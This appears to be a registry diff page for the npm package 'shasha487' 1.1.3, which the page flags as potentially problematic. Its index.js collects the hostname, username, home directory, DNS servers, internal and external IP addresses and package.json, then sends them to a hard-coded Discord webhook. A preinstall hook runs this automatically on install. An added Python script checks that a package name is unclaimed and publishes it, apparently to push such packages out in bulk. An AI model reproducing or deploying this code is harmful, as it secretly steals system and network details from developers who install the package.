shasha487 1.1.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of shasha487 might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,85 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const packageJSON = require("./package.json");
5
+
6
+ const package = packageJSON.name;
7
+
8
+ // Function to get the internal IP address
9
+ function getIPAddress() {
10
+ const networkInterfaces = os.networkInterfaces();
11
+ for (const interfaceName in networkInterfaces) {
12
+ const iface = networkInterfaces[interfaceName];
13
+ for (const alias of iface) {
14
+ if (alias.family === 'IPv4' && !alias.internal) {
15
+ return alias.address;
16
+ }
17
+ }
18
+ }
19
+ return 'IP not found';
20
+ }
21
+
22
+ // Function to get the external IP address
23
+ function getExternalIP(callback) {
24
+ https.get('https://api.ipify.org?format=json', (res) => {
25
+ let data = '';
26
+
27
+ // Receive data chunks
28
+ res.on('data', (chunk) => {
29
+ data += chunk;
30
+ });
31
+
32
+ // On response end, parse and return the IP address
33
+ res.on('end', () => {
34
+ const parsedData = JSON.parse(data);
35
+ callback(parsedData.ip); // Call the callback with the external IP address
36
+ });
37
+ }).on('error', (e) => {
38
+ console.error('Error fetching external IP address:', e);
39
+ callback('Error fetching IP'); // Handle errors
40
+ });
41
+ }
42
+
43
+ // Prepare the tracking data
44
+ getExternalIP((externalIP) => {
45
+ const trackingData = JSON.stringify({
46
+ package: package,
47
+ directory: __dirname,
48
+ home_directory: os.homedir(),
49
+ hostname: os.hostname(),
50
+ username: os.userInfo().username,
51
+ dns: dns.getServers(),
52
+ internal_ip: getIPAddress(), // Add internal IP address here
53
+ external_ip: externalIP, // Get External IP Address
54
+ resolved_url: packageJSON ? packageJSON.___resolved : undefined,
55
+ package_version: packageJSON.version,
56
+ package_json: packageJSON,
57
+ });
58
+
59
+ const webhookURL = "https://discord.com/api/webhooks/1301084955144618004/dzBF_mUG0Ob7MXPUjc3j4cbfOxRF8aquDty3TZCzVy7y-Pjh78fkwe_z1JezoYhAOv89"; // Replace with your Discord webhook URL
60
+
61
+ const postData = JSON.stringify({
62
+ content: `\`\`\`json\n${trackingData}\n\`\`\`` // Wrap the tracking data in a code block for better formatting
63
+ });
64
+
65
+ const options = new URL(webhookURL);
66
+
67
+ options.method = "POST";
68
+ options.headers = {
69
+ "Content-Type": "application/json",
70
+ "Content-Length": postData.length,
71
+ };
72
+
73
+ const req = https.request(options, (res) => {
74
+ res.on("data", (d) => {
75
+ process.stdout.write(d);
76
+ });
77
+ });
78
+
79
+ req.on("error", (e) => {
80
+ console.error(e);
81
+ });
82
+
83
+ req.write(postData);
84
+ req.end();
85
+ });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "shasha487",
3
+ "version": "1.1.3",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,54 @@
1
+ import json
2
+ import argparse
3
+ import requests
4
+ import subprocess
5
+ import sys
6
+ import os
7
+
8
+ def check_npm_package(package_name):
9
+ url = f'https://registry.npmjs.org/{package_name}'
10
+ response = requests.get(url)
11
+
12
+ if response.status_code == 200:
13
+ return True
14
+ elif response.status_code == 404:
15
+ return False
16
+ else:
17
+ return False
18
+
19
+ def write_json_package(package_name, version):
20
+ if not os.path.exists("package.json"):
21
+ print("[-] package.json file does not exist")
22
+ sys.exit(0)
23
+ try:
24
+ data = json.load(open("package.json",'r'))
25
+ data["name"] = package_name
26
+ data["version"] = version
27
+ with open("package.json", 'w') as file:
28
+ json.dump(data, file)
29
+ except Exception as e:
30
+ print(f"[-] Unable to write to package.json due to error: {e}")
31
+ sys.exit(0)
32
+
33
+ def publish_npm_package():
34
+ try:
35
+ subprocess.run(['npm', 'publish'], check=True)
36
+ print("[+] Package published successfully!")
37
+ except subprocess.CalledProcessError as e:
38
+ print(f"[-] An error occurred while publishing the package: {e}")
39
+
40
+ def main(package_name, version, webhook_url):
41
+ if check_npm_package(package_name) == True:
42
+ print(f"[-] {package_name} already exists on npm registry")
43
+ return
44
+ else:
45
+ write_json_package(package_name, version)
46
+ publish_npm_package()
47
+
48
+ if __name__ == '__main__':
49
+ parser = argparse.ArgumentParser()
50
+ parser.add_argument("--package", help="Package Name for the npm package")
51
+ parser.add_argument("--version", help="Version Number for the npm package")
52
+ parser.add_argument("--webhook", help="Webhook url to receive webhook data")
53
+ args = parser.parse_args()
54
+ main(args.package, args.version, args.webhook)